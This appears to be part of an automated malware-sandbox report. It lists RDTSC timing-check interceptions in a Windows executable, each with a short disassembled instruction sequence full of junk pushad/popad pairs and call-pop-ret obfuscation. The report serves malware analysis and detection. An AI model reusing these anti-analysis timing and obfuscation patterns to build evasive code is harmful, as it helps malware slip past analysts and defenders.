                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD7906 second address: CD7923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F5E8080F35Eh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD7923 second address: CD7929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC6A6D second address: CC6A72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC6A72 second address: CC6A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F5E810FCBA6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD6CDE second address: CD6CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD6CE2 second address: CD6CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5E810FCBA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD6CEE second address: CD6D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jne 00007F5E8080F356h 0x0000000b jmp 00007F5E8080F35Bh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jnp 00007F5E8080F356h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD6D13 second address: CD6D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E810FCBAEh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CD6ED2 second address: CD6ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAC97 second address: CDAC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAC9F second address: CDACA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDACA5 second address: CDACCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F5E810FCBB8h 0x0000000d pushad 0x0000000e js 00007F5E810FCBA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDACCE second address: CDAD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1CD0h], esi 0x0000000d push 00000000h 0x0000000f mov esi, dword ptr [ebp+122D200Ch] 0x00000015 mov ch, dh 0x00000017 push C92914E9h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F5E8080F361h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAEC6 second address: CDAECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAECB second address: CDAED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAED1 second address: CDAF25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 0F974DB7h 0x0000000f or dx, A403h 0x00000014 push 00000003h 0x00000016 and si, 19F1h 0x0000001b push 00000000h 0x0000001d call 00007F5E810FCBB5h 0x00000022 mov dx, si 0x00000025 pop edx 0x00000026 push eax 0x00000027 mov dword ptr [ebp+122D297Bh], esi 0x0000002d pop edi 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D3AA2h], ebx 0x00000036 push 87B75848h 0x0000003b jo 00007F5E810FCBB4h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAF25 second address: CDAF2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDAF2B second address: CDAF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 3848A7B8h 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F5E810FCBA8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 movzx ecx, cx 0x00000029 lea ebx, dword ptr [ebp+1244FB97h] 0x0000002f mov dword ptr [ebp+122D2B84h], ecx 0x00000035 mov ch, F2h 0x00000037 xchg eax, ebx 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F5E810FCBABh 0x00000040 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB097 second address: CDB0A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB0A7 second address: CDB0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB0AC second address: CDB0CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jp 00007F5E8080F364h 0x00000013 push eax 0x00000014 push edx 0x00000015 jo 00007F5E8080F356h 0x0000001b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB0CF second address: CDB0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 push ecx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ecx 0x0000000d jnc 00007F5E810FCBACh 0x00000013 js 00007F5E810FCBA6h 0x00000019 popad 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F5E810FCBAAh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB0FC second address: CDB101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB101 second address: CDB106 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CDB106 second address: CDB12A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jnp 00007F5E8080F356h 0x0000000e lea ebx, dword ptr [ebp+1244FBA2h] 0x00000014 add dword ptr [ebp+122D2B74h], esi 0x0000001a push eax 0x0000001b jnc 00007F5E8080F35Eh 0x00000021 push ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CECDC9 second address: CECDE0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007F5E810FCBA6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F5E810FCBA6h 0x00000017 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CECDE0 second address: CECDE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CECDE4 second address: CECDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CC34B6 second address: CC34BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFA2F0 second address: CFA2F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFA4A4 second address: CFA4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFA8F2 second address: CFA908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5E810FCBAFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFA908 second address: CFA918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5E8080F356h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFAA3C second address: CFAA48 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5E810FCBA6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFF659 second address: CFF676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E8080F369h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFF794 second address: CFF798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFF798 second address: CFF7A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: CFF7A2 second address: CFF7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007F5E810FCBA8h 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0572F second address: D05749 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F364h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05DCB second address: D05DD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05DD5 second address: D05DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05DD9 second address: D05DDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05F44 second address: D05F63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05F63 second address: D05F69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05F69 second address: D05F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F5E8080F35Ah 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D05F79 second address: D05F96 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E810FCBB8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D089D4 second address: D089E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D089E6 second address: D089EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0967A second address: D0968A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0968A second address: D09690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D09728 second address: D0972C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0972C second address: D09730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D09730 second address: D09736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D09736 second address: D0974E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F5E810FCBA6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0974E second address: D09752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D09752 second address: D09756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D09BDF second address: D09C0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F5E8080F369h 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 je 00007F5E8080F356h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0A0BE second address: D0A161 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5E810FCBA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007F5E810FCBB8h 0x00000011 nop 0x00000012 sub esi, 0084BF8Fh 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F5E810FCBA8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 pushad 0x00000035 mov bl, FCh 0x00000037 popad 0x00000038 jnl 00007F5E810FCBACh 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edi 0x00000043 call 00007F5E810FCBA8h 0x00000048 pop edi 0x00000049 mov dword ptr [esp+04h], edi 0x0000004d add dword ptr [esp+04h], 00000019h 0x00000055 inc edi 0x00000056 push edi 0x00000057 ret 0x00000058 pop edi 0x00000059 ret 0x0000005a call 00007F5E810FCBB4h 0x0000005f mov esi, dword ptr [ebp+122D1C24h] 0x00000065 pop edi 0x00000066 xchg eax, ebx 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b pop esi 0x0000006c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0A161 second address: D0A165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0BE2D second address: D0BE40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5E810FCBAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0AA54 second address: D0AA7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F5E8080F360h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E8080F360h 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0F9CA second address: D0F9E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E810FCBADh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D10004 second address: D10078 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5E8080F356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F5E8080F367h 0x00000010 nop 0x00000011 mov edi, 710ED36Ah 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+1244F241h], edi 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F5E8080F358h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a jmp 00007F5E8080F369h 0x0000003f xchg eax, ebx 0x00000040 jl 00007F5E8080F364h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0D22C second address: D0D249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E810FCBB9h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D10078 second address: D1007C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D1007C second address: D10091 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F5E810FCBB2h 0x0000000d jc 00007F5E810FCBACh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D13438 second address: D1347B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F366h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D1D20h], ecx 0x00000013 push 00000000h 0x00000015 movsx edi, bx 0x00000018 push 00000000h 0x0000001a or bl, FFFFFF98h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 jmp 00007F5E8080F360h 0x00000026 pop eax 0x00000027 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D111A8 second address: D111AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D14491 second address: D14497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D14497 second address: D14531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnp 00007F5E810FCBBBh 0x0000000c nop 0x0000000d call 00007F5E810FCBB4h 0x00000012 jmp 00007F5E810FCBB6h 0x00000017 pop edi 0x00000018 push 00000000h 0x0000001a jmp 00007F5E810FCBB7h 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F5E810FCBA8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Dh 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov ebx, dword ptr [ebp+1244D25Bh] 0x00000041 xchg eax, esi 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D14531 second address: D14537 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D15393 second address: D153AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D146DF second address: D146EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D153AF second address: D153BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D153BE second address: D153C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D146EB second address: D14750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 nop 0x00000007 push dword ptr fs:[00000000h] 0x0000000e sub dword ptr [ebp+1244F241h], edi 0x00000014 mov dword ptr fs:[00000000h], esp 0x0000001b mov edi, dword ptr [ebp+122D1CF3h] 0x00000021 mov eax, dword ptr [ebp+122D0139h] 0x00000027 or dword ptr [ebp+122D2B62h], eax 0x0000002d push FFFFFFFFh 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F5E810FCBA8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 jc 00007F5E810FCBA8h 0x0000004f mov edi, ecx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jnc 00007F5E810FCBACh 0x0000005a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D153C2 second address: D153C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D14750 second address: D14756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D153C8 second address: D153CD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D16363 second address: D16375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E810FCBAEh 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D16375 second address: D16388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F5E8080F356h 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D16388 second address: D163A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
